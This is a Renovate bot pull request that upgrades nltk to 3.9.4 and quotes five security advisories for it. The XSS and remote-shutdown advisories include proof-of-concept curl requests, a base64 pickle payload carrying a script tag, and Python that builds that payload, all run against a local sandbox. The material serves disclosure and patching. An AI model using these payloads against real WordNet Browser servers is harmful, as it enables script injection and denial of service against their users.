Skip to content

Update dependency nltk to v3.9.4 [SECURITY]#210

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-nltk-vulnerability
Open

Update dependency nltk to v3.9.4 [SECURITY]#210
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-nltk-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate Bot commented Aug 13, 2024

This PR contains the following updates:

Package Change Age Confidence
nltk (source) ==3.6.6==3.9.4 age confidence

ntlk unsafe deserialization vulnerability

CVE-2024-39705 / GHSA-cgvx-9447-vcch

More information

Details

NLTK through 3.8.1 allows remote code execution if untrusted packages have pickled Python code, and the integrated data package download functionality is used. This affects, for example, averaged_perceptron_tagger and punkt.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


NLTK has a Zip Slip Vulnerability

CVE-2025-14009 / GHSA-7p94-766c-hgjp

More information

Details

A critical vulnerability exists in the NLTK downloader component of nltk/nltk, affecting all versions. The _unzip_iter function in nltk/downloader.py uses zipfile.extractall() without performing path validation or security checks. This allows attackers to craft malicious zip packages that, when downloaded and extracted by NLTK, can execute arbitrary code. The vulnerability arises because NLTK assumes all downloaded packages are trusted and extracts them without validation. If a malicious package contains Python files, such as init.py, these files are executed automatically upon import, leading to remote code execution. This issue can result in full system compromise, including file system access, network access, and potential persistence mechanisms.

Severity

  • CVSS Score: 10.0 / 10 (Critical)
  • Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk

CVE-2026-33230 / GHSA-gfwx-w7gr-fvh7

More information

Details

Summary

nltk.app.wordnet_app contains a reflected cross-site scripting issue in the lookup_... route. A crafted lookup_<payload> URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled word data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.

Details

The vulnerable flow is in nltk/app/wordnet_app.py:

This is inconsistent with the search route, which does escape user input:

As a result, a malicious lookup_... payload can inject script into the response page.

The issue is exploitable because:

  • Reference.decode() accepts attacker-controlled base64-encoded pickle data for the URL state.
  • The decoded word is reflected into HTML without html.escape().
  • The server is started with HTTPServer(("", port), MyServerHandler), so it listens on all interfaces by default, not just localhost.
PoC
  1. Start the WordNet Browser in an isolated Docker environment:
docker run -d --name nltk-wordnet-web -p 8002:8002 \
  nltk-sandbox \
  python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)"
  1. Use the following crafted payload, which decodes to:
("<script>alert(1)</script>", {})

Encoded payload:

gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=
  1. Request the vulnerable route:
curl -s "http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4="
  1. Observed result:
The word or words '<script>alert(1)</script>' were not found in the dictionary.
127

I also validated the issue directly at function level in Docker:

import base64
import pickle

from nltk.app.wordnet_app import page_from_href

payload = base64.urlsafe_b64encode(
    pickle.dumps(("<script>alert(1)</script>", {}), -1)
).decode()

page, word = page_from_href(payload)
print(word)
print("<script>alert(1)</script>" in page)

Observed output:

WORD= <script>alert(1)</script>
HAS_SCRIPT= True
Impact

This is a reflected XSS issue in the NLTK WordNet Browser web UI.

An attacker who can convince a user to open a crafted lookup_... URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:

  • run arbitrary script in the browser tab
  • manipulate the page content shown to the user
  • issue same-origin requests to other WordNet Browser routes
  • potentially trigger available UI actions in that local app context

This primarily impacts users who run nltk.app.wordnet_app as a local or self-hosted HTTP service and open attacker-controlled links.

Severity

  • CVSS Score: 6.1 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Unauthenticated remote shutdown in nltk.app.wordnet_app

CVE-2026-33231 / GHSA-jm6w-m3j8-898g

More information

Details

Summary

nltk.app.wordnet_app allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os._exit(0), resulting in a denial of service.

Details

The vulnerable logic is in nltk/app/wordnet_app.py:

This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.

PoC
  1. Start the WordNet Browser in Docker in its default mode:
docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \
  nltk-sandbox \
  python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)"
  1. Confirm the service is reachable:
curl -s -o /tmp/wn_before.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'

Observed result:

200
  1. Trigger shutdown:
curl -s -o /tmp/wn_shutdown.html -w '%{http_code}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'

Observed result:

000
  1. Verify the service is no longer available:
curl -s -o /tmp/wn_after.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}'
docker logs nltk-wordnet-web-default-retest

Observed results:

000
nltk-wordnet-web-default-retest    Exited (0)
Server shutting down!
Impact

This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.

Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:

  • the route is accessible over HTTP
  • no authentication or CSRF-style confirmation is required
  • the server listens on all interfaces by default
  • the process exits immediately instead of performing a controlled shutdown

This primarily affects users who run nltk.app.wordnet_app and expose or otherwise allow access to its listening port.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


NLTK has Arbitrary File Read via Absolute Path Input in nltk.util.filestring()

CVE-2026-0846 / GHSA-h8wq-7xc4-p3qx

More information

Details

A vulnerability in the filestring() function of the nltk.util module in nltk version 3.9.2 allows arbitrary file read due to improper validation of input paths. The function directly opens files specified by user input without sanitization, enabling attackers to access sensitive system files by providing absolute paths or traversal paths. This vulnerability can be exploited locally or remotely, particularly in scenarios where the function is used in web APIs or other interfaces that accept user-supplied input.

Severity

  • CVSS Score: 8.6 / 10 (High)
  • Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

nltk/nltk (nltk)

v3.9.4

Compare Source

v3.9.3

Compare Source

v3.9.2

Compare Source

v3.9.1

Compare Source

v3.9

Compare Source

v3.8.1

Compare Source

v3.8

Compare Source

v3.7

Compare Source

v3.6.7

Compare Source


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot changed the title chore(deps): update dependency nltk to v3.8.2 [security] chore(deps): update dependency nltk to v3.8.2 [security] - autoclosed Aug 15, 2024
@renovate renovate Bot closed this Aug 15, 2024
@renovate renovate Bot deleted the renovate/pypi-nltk-vulnerability branch August 15, 2024 08:17
@renovate renovate Bot changed the title chore(deps): update dependency nltk to v3.8.2 [security] - autoclosed chore(deps): update dependency nltk to v3.8.2 [security] Aug 20, 2024
@renovate renovate Bot reopened this Aug 20, 2024
@renovate renovate Bot restored the renovate/pypi-nltk-vulnerability branch August 20, 2024 16:48
@renovate renovate Bot changed the title chore(deps): update dependency nltk to v3.8.2 [security] chore(deps): update dependency nltk to v3.9 [security] Aug 20, 2024
@renovate renovate Bot force-pushed the renovate/pypi-nltk-vulnerability branch from 9eddb63 to 5cdd034 Compare August 20, 2024 16:48
@renovate renovate Bot force-pushed the renovate/pypi-nltk-vulnerability branch from 5cdd034 to 4a4e569 Compare August 10, 2025 12:23
@renovate renovate Bot force-pushed the renovate/pypi-nltk-vulnerability branch from 4a4e569 to 8a44658 Compare March 1, 2026 18:58
@renovate renovate Bot changed the title chore(deps): update dependency nltk to v3.9 [security] chore(deps): update dependency nltk to v3.9.3 [security] Mar 1, 2026
@renovate renovate Bot changed the title chore(deps): update dependency nltk to v3.9.3 [security] chore(deps): update dependency nltk to v3.9.4 [security] Mar 25, 2026
@renovate renovate Bot force-pushed the renovate/pypi-nltk-vulnerability branch from 8a44658 to b88764c Compare March 25, 2026 21:13
@renovate renovate Bot changed the title chore(deps): update dependency nltk to v3.9.4 [security] chore(deps): update dependency nltk to v3.9.4 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate renovate Bot deleted the renovate/pypi-nltk-vulnerability branch March 27, 2026 01:30
@renovate renovate Bot changed the title chore(deps): update dependency nltk to v3.9.4 [security] - autoclosed chore(deps): update dependency nltk to v3.9.4 [security] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate renovate Bot force-pushed the renovate/pypi-nltk-vulnerability branch 2 times, most recently from b88764c to 6bf3c50 Compare March 30, 2026 18:09
@renovate renovate Bot changed the title chore(deps): update dependency nltk to v3.9.4 [security] Update dependency nltk to v3.9.4 [SECURITY] Apr 8, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants